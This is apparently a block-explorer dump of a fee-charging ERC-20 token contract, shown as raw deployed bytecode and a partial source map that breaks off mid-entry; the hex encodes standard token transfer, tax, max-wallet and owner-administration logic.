389166000908152600490915291909120546117479186906118bb565b6001600160a01b03871660009081526004602052604081209190915561176e878787611ae4565b601654909150600160b81b900460ff1680156117a357506001600160a01b03861660009081526009602052604090205460ff16155b15611830576013546117d4826117ce896001600160a01b031660009081526004602052604090205490565b906118f5565b11156118305760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a4d565b6001600160a01b03861660009081526004602052604090205461185390826118f5565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118a79085815260200190565b60405180910390a3600193505050506109e6565b600081848411156118df5760405162461bcd60e51b8152600401610a4d9190611fb1565b5060006118ec8486612331565b95945050505050565b60008061190283856122e8565b9050838110156109e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a4d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546119a59184906118bb565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546119d490836118f5565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a289086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b17905547611a5782611cef565b6000611a634783611e82565b90508015611ad25760035460405160009161010090046001600160a01b03169083908381818185875af1925050503d8060008114611abd576040519150601f19603f3d011682016040523d82523d6000602084013e611ac2565b606091505b5050905080611ad057600080fd5b505b50506016805460ff60a01b1916905550565b6001600160a01b0383166000908152600860205260408120548190819060ff1615611b3357611b296064611b23600d5487611ec490919063ffffffff16565b90611f46565b9150859050611b74565b6001600160a01b03851660009081526008602052604090205460ff1615611b7457611b6e6064611b23600e5487611ec490919063ffffffff16565b91508490505b6001600160a01b038181166000908152600b60205260409020541615801590611c5757506001600160a01b038181166000908152600b60209081526040808320548a85168085526008909352818420548a86168086529483902054925163c2d1fab360e01b815260ff9182161515600482015292161515602483015260448201929092526064810192909252608482018790529091169063c2d1fab39060a4016020604051808303816000875af1158015611c33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c579190612314565b15611c6157600091505b8115611cdb5730600090815260046020526040902054611c8190836118f5565b30600081815260046020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611cd29086815260200190565b60405180910390a35b611ce58483611e82565b9695505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611d2457611d246122bc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da19190612344565b81600181518110611db457611db46122bc565b6001600160a01b039283166020918202929092010152601454611dda913091168461134d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e139085906000908690309042906004016123a5565b600060405180830381600087803b158015611e2d57600080fd5b505af1158015611e41573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611e769291906123e1565b60405180910390a15050565b60006109e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118bb565b600082600003611ed65750600061097c565b6000611ee28385612402565b905082611eef8583612419565b146109e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a4d565b60006109e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611fa45760405162461bcd60e51b8152600401610a4d9190611fb1565b5060006118ec8486612419565b600060208083528351808285015260005b81811015611fde57858101830151858201604001528201611fc2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461106e57600080fd5b6000806040838503121561202757600080fd5b823561203281611fff565b946020939093013593505050565b60008060006060848603121561205557600080fd5b833561206081611fff565b9250602084013561207081611fff565b929592945050506040919091013590565b60008083601f84011261209357600080fd5b50813567ffffffffffffffff8111156120ab57600080fd5b6020830191508360208260051b85010111156120c657600080fd5b9250929050565b60008060008060008060006080888a0312156120e857600080fd5b873567ffffffffffffffff8082111561210057600080fd5b61210c8b838c01612081565b909950975060208a0135915061212182611fff565b9095506040890135908082111561213757600080fd5b6121438b838c01612081565b909650945060608a013591508082111561215c57600080fd5b506121698a828b01612081565b989b979a50959850939692959293505050565b60006020828403121561218e57600080fd5b81356109e681611fff565b801515811461106e57600080fd5b600080604083850312156121ba57600080fd5b82356121c581611fff565b915060208301356121d581612199565b809150509250929050565b6000602082840312156121f257600080fd5b81356109e681612199565b6000806040838503121561221057600080fd5b50508035926020909101359150565b6000806040838503121561223257600080fd5b823561223d81611fff565b915060208301356121d581611fff565b600181811c9082168061226157607f821691505b60208210810361228157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561097c5761097c6122d2565b60006001820161230d5761230d6122d2565b5060010190565b60006020828403121561232657600080fd5b81516109e681612199565b8181038181111561097c5761097c6122d2565b60006020828403121561235657600080fd5b81516109e681611fff565b600081518084526020808501945080840160005b8381101561239a5781516001600160a01b031687529582019590820190600101612375565b509495945050505050565b85815284602082015260a0604082015260006123c460a0830186612361565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006123fa6040830184612361565b949350505050565b808202811582820484141761097c5761097c6122d2565b60008261243657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dc2651b1ebf381491f0c4b11b7920529b91b26efe8f18d87b0552fa00875c9e764736f6c63430008130033

Deployed Bytecode Sourcemap

11715:13410:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15082:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16248:161;;;;;;;;;;-1:-1:-1;16248:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;16248:161:0;1023:187:1;12872:41:0;;;;;;;;;;-1:-1:-1;12872:41:0;;;;-1:-1:-1;;;;;12872:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;12872:41:0;1215:230:1;15359:100:0;;;;;;;;;;-1:-1:-1;15439:12:0;;15359:100;;;1596:25:1;;;1584:2;1569:18;15359:100:0;1450:177:1;18769:313:0;;;;;;;;;;-1:-1:-1;18769:313:0;;;;;:::i;:::-;;:::i;15268:83::-;;;;;;;;;;-1:-1:-1;15334:9:0;;15268:83;;15334:9;;;;2235:36:1;;2223:2;2208:18;15268:83:0;2093:184:1;15745:218:0;;;;;;;;;;-1:-1:-1;15745:218:0;;;;;:::i;:::-;;:::i;22236:830::-;;;;;;;;;;-1:-1:-1;22236:830:0;;;;;:::i;:::-;;:::i;:::-;;12201:45;;;;;;;;;;-1:-1:-1;12201:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12474:26;;;;;;;;;;;;;;;;13028:40;;;;;;;;;;-1:-1:-1;13028:40:0;;;;-1:-1:-1;;;13028:40:0;;;;;;17573:213;;;;;;;;;;-1:-1:-1;17573:213:0;;;;;:::i;:::-;;:::i;12144:50::-;;;;;;;;;;-1:-1:-1;12144:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12953:32;;;;;;;;;;-1:-1:-1;12953:32:0;;;;-1:-1:-1;;;;;12953:32:0;;;21818:239;;;;;;;;;;-1:-1:-1;21818:239:0;;;;;:::i;:::-;;:::i;17349:128::-;;;;;;;;;;;;;:::i;15467:119::-;;;;;;;;;;-1:-1:-1;15467:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;15560:18:0;15533:7;15560:18;;;:9;:18;;;;;;;15467:119;3270:230;;;;;;;;;;;;;:::i;11936:38::-;;;;;;;;;;-1:-1:-1;11936:38:0;;;;;;;-1:-1:-1;;;;;11936:38:0;;;12736:59;;;;;;;;;;;;;;;;12803:58;;;;;;;;;;;;;;;;16762:129;;;;;;;;;;-1:-1:-1;16762:129:0;;;;;:::i;:::-;;:::i;13171:41::-;;;;;;;;;;-1:-1:-1;13171:41:0;;;;-1:-1:-1;;;13171:41:0;;;;;;12110:25;;;;;;;;;;-1:-1:-1;12110:25:0;;;;;;;;3045:79;;;;;;;;;;-1:-1:-1;3083:7:0;3110:6;-1:-1:-1;;;;;3110:6:0;3045:79;;17194:147;;;;;;;;;;-1:-1:-1;17194:147:0;;;;;:::i;:::-;;:::i;15173:87::-;;;;;;;;;;;;;:::i;15971:269::-;;;;;;;;;;-1:-1:-1;15971:269:0;;;;;:::i;:::-;;:::i;18115:125::-;;;;;;;;;;-1:-1:-1;18115:125:0;;;;;:::i;:::-;;:::i;12434:31::-;;;;;;;;;;;;;;;;18594:167;;;;;;;;;;-1:-1:-1;18594:167:0;;;;;:::i;:::-;;:::i;12258:58::-;;;;;;;;;;-1:-1:-1;12258:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17042:140;;;;;;;;;;-1:-1:-1;17042:140:0;;;;;:::i;:::-;;:::i;22065:163::-;;;;;;;;;;;;;:::i;17936:171::-;;;;;;;;;;-1:-1:-1;17936:171:0;;;;;:::i;:::-;;:::i;18382:204::-;;;;;;;;;;-1:-1:-1;18382:204:0;;;;;:::i;:::-;;:::i;12920:26::-;;;;;;;;;;-1:-1:-1;12920:26:0;;;;-1:-1:-1;;;;;12920:26:0;;;17485:80;;;;;;;;;;;;;:::i;17794:134::-;;;;;;;;;;-1:-1:-1;17794:134:0;;;;;:::i;:::-;;:::i;12509:27::-;;;;;;;;;;;;;;;;12323:55;;;;;;;;;;-1:-1:-1;12323:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12648:70;;;;;;;;;;;;;;;;13075:45;;;;;;;;;;-1:-1:-1;13075:45:0;;;;-1:-1:-1;;;13075:45:0;;;;;;15594:143;;;;;;;;;;-1:-1:-1;15594:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;15702:18:0;;;15675:7;15702:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15594:143;16899:135;;;;;;;;;;-1:-1:-1;16899:135:0;;;;;:::i;:::-;;:::i;3508:244::-;;;;;;;;;;-1:-1:-1;3508:244:0;;;;;:::i;:::-;;:::i;12545:29::-;;;;;;;;;;;;;;;;13129:35;;;;;;;;;;-1:-1:-1;13129:35:0;;;;-1:-1:-1;;;13129:35:0;;;;;;15082:83;15119:13;15152:5;15145:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15082:83;:::o;16248:161::-;16323:4;16340:39;351:10;16363:7;16372:6;16340:8;:39::i;:::-;-1:-1:-1;16397:4:0;16248:161;;;;;:::o;18769:313::-;18867:4;18884:36;18894:6;18902:9;18913:6;18884:9;:36::i;:::-;-1:-1:-1;18931:121:0;18940:6;351:10;18962:89;19000:6;18962:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18962:19:0;;;;;;:11;:19;;;;;;;;351:10;18962:33;;;;;;;;;;:37;:89::i;:::-;18931:8;:121::i;:::-;-1:-1:-1;19070:4:0;18769:313;;;;;;:::o;15745:218::-;351:10;15833:4;15882:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15882:34:0;;;;;;;;;;15833:4;;15850:83;;15873:7;;15882:50;;15921:10;15882:38;:50::i;22236:830::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;;;;;;;;;22406:43;;::::1;22398:52;;;::::0;::::1;;22461:26;::::0;22552:15:::1;22461:26:::0;22578:159:::1;22594:24:::0;;::::1;22578:159;;;22657:13;;22671:1;22657:16;;;;;;;:::i;:::-;;;;;;;22640:33;;;;;:::i;:::-;;;22710:12;;22723:1;22710:15;;;;;;;:::i;:::-;;;;;;;22688:37;;;;;:::i;:::-;::::0;-1:-1:-1;22620:3:0;::::1;::::0;::::1;:::i;:::-;;;;22578:159;;;-1:-1:-1::0;22788:16:0::1;::::0;22756:27:::1;22770:13:::0;22756:11;:27:::1;:::i;:::-;22755:49;;22747:94;;;::::0;-1:-1:-1;;;22747:94:0;;7451:2:1;22747:94:0::1;::::0;::::1;7433:21:1::0;;;7470:18;;;7463:30;7529:34;7509:18;;;7502:62;7581:18;;22747:94:0::1;7249:356:1::0;22747:94:0::1;22856:6;22852:207;22868:19:::0;;::::1;22852:207;;;22909:16;22928:8;;22937:1;22928:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22954:21:0;;::::1;;::::0;;;:11:::1;:21;::::0;;;;;;;:29;;-1:-1:-1;;;;;;22954:29:0::1;::::0;;::::1;::::0;;::::1;::::0;;22998:11:::1;:21:::0;;;;;:28;;;;;;;:49;;;-1:-1:-1;22889:3:0;::::1;::::0;::::1;:::i;:::-;;;;22852:207;;;;22387:679;;;22236:830:::0;;;;;;;:::o;17573:213::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17668:24:0;::::1;17660:70;;;::::0;-1:-1:-1;;;17660:70:0;;7812:2:1;17660:70:0::1;::::0;::::1;7794:21:1::0;7851:2;7831:18;;;7824:30;7890:34;7870:18;;;7863:62;-1:-1:-1;;;7941:18:1;;;7934:32;7983:19;;17660:70:0::1;7610:398:1::0;17660:70:0::1;17741:15;:37:::0;;-1:-1:-1;;;;;17741:37:0;;::::1;;;-1:-1:-1::0;;;;;;17741:37:0;;::::1;::::0;;;::::1;::::0;;17573:213::o;21818:239::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;21931:4:::1;-1:-1:-1::0;;;;;21913:23:0;::::1;::::0;21905:90:::1;;;::::0;-1:-1:-1;;;21905:90:0;;8215:2:1;21905:90:0::1;::::0;::::1;8197:21:1::0;8254:2;8234:18;;;8227:30;8293:34;8273:18;;;8266:62;-1:-1:-1;;;8344:18:1;;;8337:52;8406:19;;21905:90:0::1;8013:418:1::0;21905:90:0::1;22006:43;::::0;-1:-1:-1;;;22006:43:0;;22030:10:::1;22006:43;::::0;::::1;8610:51:1::0;8677:18;;;8670:34;;;-1:-1:-1;;;;;22006:23:0;::::1;::::0;::::1;::::0;8583:18:1;;22006:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;21818:239:::0;;:::o;17349:128::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;17404:22:::1;:30:::0;;-1:-1:-1;;;;17445:24:0;;;17349:128::o;3270:230::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;3361:6:::1;::::0;;3340:81:::1;::::0;3377:42:::1;::::0;-1:-1:-1;;;;;3361:6:0;;::::1;::::0;3340:81:::1;::::0;::::1;3432:6;:60:::0;;-1:-1:-1;;;;;;3432:60:0::1;3449:42;3432:60;::::0;;3270:230::o;16762:129::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16851:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;16851:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16762:129::o;17194:147::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17291:33:0;;;::::1;;::::0;;;:25:::1;:33;::::0;;;;:42;;-1:-1:-1;;17291:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17194:147::o;15173:87::-;15212:13;15245:7;15238:14;;;;;:::i;15971:269::-;16064:4;16081:129;351:10;16104:7;16113:96;16152:15;16113:96;;;;;;;;;;;;;;;;;351:10;16113:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16113:34:0;;;;;;;;;;;;:38;:96::i;18115:125::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;18196:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;18196:36:0::1;-1:-1:-1::0;;;;18196:36:0;;::::1;::::0;;;::::1;::::0;;18115:125::o;18594:167::-;18672:4;18689:42;351:10;18713:9;18724:6;18689:9;:42::i;17042:140::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17135:30:0;;;::::1;;::::0;;;:22:::1;:30;::::0;;;;:39;;-1:-1:-1;;17135:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17042:140::o;22065:163::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;22135:58:::1;::::0;22118:12:::1;::::0;22143:10:::1;::::0;22167:21:::1;::::0;22118:12;22135:58;22118:12;22135:58;22167:21;22143:10;22135:58:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22117:76;;;22212:7;22204:16;;;::::0;::::1;;22106:122;22065:163::o:0;17936:171::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;18013:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;18013:32:0::1;-1:-1:-1::0;;;;18013:32:0;;::::1;;::::0;;18061:38:::1;::::0;::::1;::::0;::::1;::::0;18037:8;1188:14:1;1181:22;1163:41;;1151:2;1136:18;;1023:187;18061:38:0::1;;;;;;;;17936:171:::0;:::o;18382:204::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;18455:7:::1;:16:::0;;;18482:8:::1;:18:::0;;;18529:1:::1;18519:11:::0;::::1;::::0;::::1;::::0;:27:::1;;;18545:1;18535:7;:11;;18519:27;18511:67;;;::::0;-1:-1:-1;;;18511:67:0;;9377:2:1;18511:67:0::1;::::0;::::1;9359:21:1::0;9416:2;9396:18;;;9389:30;9455:29;9435:18;;;9428:57;9502:18;;18511:67:0::1;9175:351:1::0;18511:67:0::1;18382:204:::0;;:::o;17485:80::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;17537:13:::1;:20:::0;;-1:-1:-1;;17537:20:0::1;17553:4;17537:20;::::0;;17485:80::o;17794:134::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;17881:17:::1;:39:::0;;-1:-1:-1;;;;;;17881:39:0::1;-1:-1:-1::0;;;;;17881:39:0;;;::::1;::::0;;;::::1;::::0;;17794:134::o;16899:135::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16989:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;16989:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16899:135::o;3508:244::-;3179:6;;-1:-1:-1;;;;;3179:6:0;351:10;3179:22;3171:67;;;;-1:-1:-1;;;3171:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3597:22:0;::::1;3589:73;;;::::0;-1:-1:-1;;;3589:73:0;;9733:2:1;3589:73:0::1;::::0;::::1;9715:21:1::0;9772:2;9752:18;;;9745:30;9811:34;9791:18;;;9784:62;-1:-1:-1;;;9862:18:1;;;9855:36;9908:19;;3589:73:0::1;9531:402:1::0;3589:73:0::1;3699:6;::::0;;3678:38:::1;::::0;-1:-1:-1;;;;;3678:38:0;;::::1;::::0;3699:6;::::1;::::0;3678:38:::1;::::0;::::1;3727:6;:17:::0;;-1:-1:-1;;;;;;3727:17:0::1;-1:-1:-1::0;;;;;3727:17:0;;;::::1;::::0;;;::::1;::::0;;3508:244::o;16417:337::-;-1:-1:-1;;;;;16510:19:0;;16502:68;;;;-1:-1:-1;;;16502:68:0;;10140:2:1;16502:68:0;;;10122:21:1;10179:2;10159:18;;;10152:30;10218:34;10198:18;;;10191:62;-1:-1:-1;;;10269:18:1;;;10262:34;10313:19;;16502:68:0;9938:400:1;16502:68:0;-1:-1:-1;;;;;16589:21:0;;16581:68;;;;-1:-1:-1;;;16581:68:0;;10545:2:1;16581:68:0;;;10527:21:1;10584:2;10564:18;;;10557:30;10623:34;10603:18;;;10596:62;-1:-1:-1;;;10674:18:1;;;10667:32;10716:19;;16581:68:0;10343:398:1;16581:68:0;-1:-1:-1;;;;;16662:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16714:32;;1596:25:1;;;16714:32:0;;1569:18:1;16714:32:0;;;;;;;16417:337;;;:::o;19090:1764::-;19177:4;-1:-1:-1;;;;;19204:20:0;;19196:70;;;;-1:-1:-1;;;19196:70:0;;10948:2:1;19196:70:0;;;10930:21:1;10987:2;10967:18;;;10960:30;11026:34;11006:18;;;10999:62;-1:-1:-1;;;11077:18:1;;;11070:35;11122:19;;19196:70:0;10746:401:1;19196:70:0;-1:-1:-1;;;;;19285:23:0;;19277:71;;;;-1:-1:-1;;;19277:71:0;;11354:2:1;19277:71:0;;;11336:21:1;11393:2;11373:18;;;11366:30;11432:34;11412:18;;;11405:62;-1:-1:-1;;;11483:18:1;;;11476:33;11526:19;;19277:71:0;11152:399:1;19277:71:0;19366:16;;-1:-1:-1;;;19366:16:0;;;;19363:1474;;;19416:41;19431:6;19439:9;19450:6;19416:14;:41::i;:::-;19409:48;;;;19363:1474;-1:-1:-1;;;;;19497:30:0;;;;;;:22;:30;;;;;;;;19496:31;:69;;;;-1:-1:-1;;;;;;19532:33:0;;;;;;:22;:33;;;;;;;;19531:34;19496:69;:95;;;;-1:-1:-1;19569:22:0;;-1:-1:-1;;;19569:22:0;;;;19496:95;19493:277;;;19620:13;;;;19612:48;;;;-1:-1:-1;;;19612:48:0;;11758:2:1;19612:48:0;;;11740:21:1;11797:2;11777:18;;;11770:30;-1:-1:-1;;;11816:18:1;;;11809:52;11878:18;;19612:48:0;11556:346:1;19612:48:0;19697:12;;19687:6;:22;;19679:75;;;;-1:-1:-1;;;19679:75:0;;12109:2:1;19679:75:0;;;12091:21:1;12148:2;12128:18;;;12121:30;12187:34;12167:18;;;12160:62;-1:-1:-1;;;12238:18:1;;;12231:38;12286:19;;19679:75:0;11907:404:1;19679:75:0;19835:4;19786:28;15560:18;;;:9;:18;;;;;;19911:23;;19887:47;;;;;;;19967:44;;-1:-1:-1;19995:16:0;;-1:-1:-1;;;19995:16:0;;;;19994:17;19967:44;:69;;;;-1:-1:-1;;;;;;20016:20:0;;;;;;:12;:20;;;;;;;;20015:21;19967:69;:94;;;;-1:-1:-1;20040:21:0;;-1:-1:-1;;;20040:21:0;;;;19967:94;19963:305;;;20099:25;;-1:-1:-1;;;20099:25:0;;;;20096:97;;;20170:23;;20147:46;;20096:97;20212:36;20227:20;20212:14;:36::i;:::-;20304:53;;;;;;;;;;;-1:-1:-1;;;20304:53:0;;;;;;;;-1:-1:-1;;;;;20304:17:0;;-1:-1:-1;20304:17:0;;;:9;:17;;;;;;;;:53;;20326:6;;20304:21;:53::i;:::-;-1:-1:-1;;;;;20284:17:0;;;;;;:9;:17;;;;;:73;;;;20399:39;20294:6;20420:9;20431:6;20399:12;:39::i;:::-;20458:16;;20374:64;;-1:-1:-1;;;;20458:16:0;;;;:57;;;;-1:-1:-1;;;;;;20479:36:0;;;;;;:25;:36;;;;;;;;20478:37;20458:57;20455:200;;;20588:10;;20544:40;20569:14;20544:20;20554:9;-1:-1:-1;;;;;15560:18:0;15533:7;15560:18;;;:9;:18;;;;;;;15467:119;20544:20;:24;;:40::i;:::-;:54;;20536:103;;;;-1:-1:-1;;;20536:103:0;;12518:2:1;20536:103:0;;;12500:21:1;12557:2;12537:18;;;12530:30;12596:34;12576:18;;;12569:62;-1:-1:-1;;;12647:18:1;;;12640:35;12692:19;;20536:103:0;12316:401:1;20536:103:0;-1:-1:-1;;;;;20694:20:0;;;;;;:9;:20;;;;;;:40;;20719:14;20694:24;:40::i;:::-;-1:-1:-1;;;;;20671:20:0;;;;;;;:9;:20;;;;;;;:63;;;;20756:43;;;;;;;;;;20784:14;1596:25:1;;1584:2;1569:18;;1450:177;20756:43:0;;;;;;;;20821:4;20814:11;;;;;;;1530:192;1616:7;1652:12;1644:6;;;;1636:29;;;;-1:-1:-1;;;1636:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1676:9:0;1688:5;1692:1;1688;:5;:::i;:::-;1676:17;1530:192;-1:-1:-1;;;;;1530:192:0:o;1197:181::-;1255:7;;1287:5;1291:1;1287;:5;:::i;:::-;1275:17;;1316:1;1311;:6;;1303:46;;;;-1:-1:-1;;;1303:46:0;;13057:2:1;1303:46:0;;;13039:21:1;13096:2;13076:18;;;13069:30;13135:29;13115:18;;;13108:57;13182:18;;1303:46:0;12855:351:1;23074:330:0;23204:53;;;;;;;;;;;-1:-1:-1;;;23204:53:0;;;;;;;;-1:-1:-1;;;;;23204:17:0;;23167:4;23204:17;;;:9;:17;;;;;;;:53;;23226:6;;23204:21;:53::i;:::-;-1:-1:-1;;;;;23184:17:0;;;;;;;:9;:17;;;;;;:73;;;;23291:20;;;;;;;:32;;23316:6;23291:24;:32::i;:::-;-1:-1:-1;;;;;23268:20:0;;;;;;;:9;:20;;;;;;;:55;;;;23339:35;;;;;;;;;;23367:6;1596:25:1;;1584:2;1569:18;;1450:177;23339:35:0;;;;;;;;-1:-1:-1;23392:4:0;23074:330;;;;;:::o;23412:464::-;13637:16;:23;;-1:-1:-1;;;;13637:23:0;-1:-1:-1;;;13637:23:0;;;23520:21:::1;23552:25;23569:7:::0;23552:16:::1;:25::i;:::-;23588:23;23615:41;:21;23641:14:::0;23615:25:::1;:41::i;:::-;23588:68:::0;-1:-1:-1;23672:19:0;;23669:192:::1;;23735:15;::::0;23727:89:::1;::::0;23709:12:::1;::::0;23735:15:::1;::::0;::::1;-1:-1:-1::0;;;;;23735:15:0::1;::::0;23782;;23709:12;23727:89;23709:12;23727:89;23782:15;23735;23727:89:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23708:108;;;23841:7;23833:16;;;::::0;::::1;;23693:168;23669:192;-1:-1:-1::0;;13683:16:0;:24;;-1:-1:-1;;;;13683:24:0;;;-1:-1:-1;23412:464:0:o;20862:946::-;-1:-1:-1;;;;;21058:20:0;;20953:7;21058:20;;;:12;:20;;;;;;20953:7;;;;21058:20;;21055:276;;;21107:28;21131:3;21107:19;21118:7;;21107:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;21095:40;;21164:6;21150:20;;21055:276;;;-1:-1:-1;;;;;21200:23:0;;;;;;:12;:23;;;;;;;;21197:134;;;21252:29;21277:3;21252:20;21263:8;;21252:6;:10;;:20;;;;:::i;:29::-;21240:41;;21310:9;21296:23;;21197:134;-1:-1:-1;;;;;21344:24:0;;;21380:1;21344:24;;;:11;:24;;;;;;;:38;;;;:181;;-1:-1:-1;;;;;;21401:24:0;;;;;;;:11;:24;;;;;;;;;21452:20;;;;;;:12;:20;;;;;;;21474:23;;;;;;;;;;;21386:139;;-1:-1:-1;;;21386:139:0;;21452:20;;;;13483:14:1;13476:22;21386:139:0;;;13458:41:1;21474:23:0;;13542:14:1;13535:22;13515:18;;;13508:50;13612:18;;;13605:43;;;;13664:18;;;13657:43;;;;13716:19;;;13709:35;;;21401:24:0;;;;21386:65;;13430:19:1;;21386:139:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21341:226;;;21554:1;21542:13;;21341:226;21590:13;;21587:173;;21665:4;21647:24;;;;:9;:24;;;;;;:39;;21676:9;21647:28;:39::i;:::-;21638:4;21620:24;;;;:9;:24;;;;;;;:66;;;;21706:42;;-1:-1:-1;;;;;21706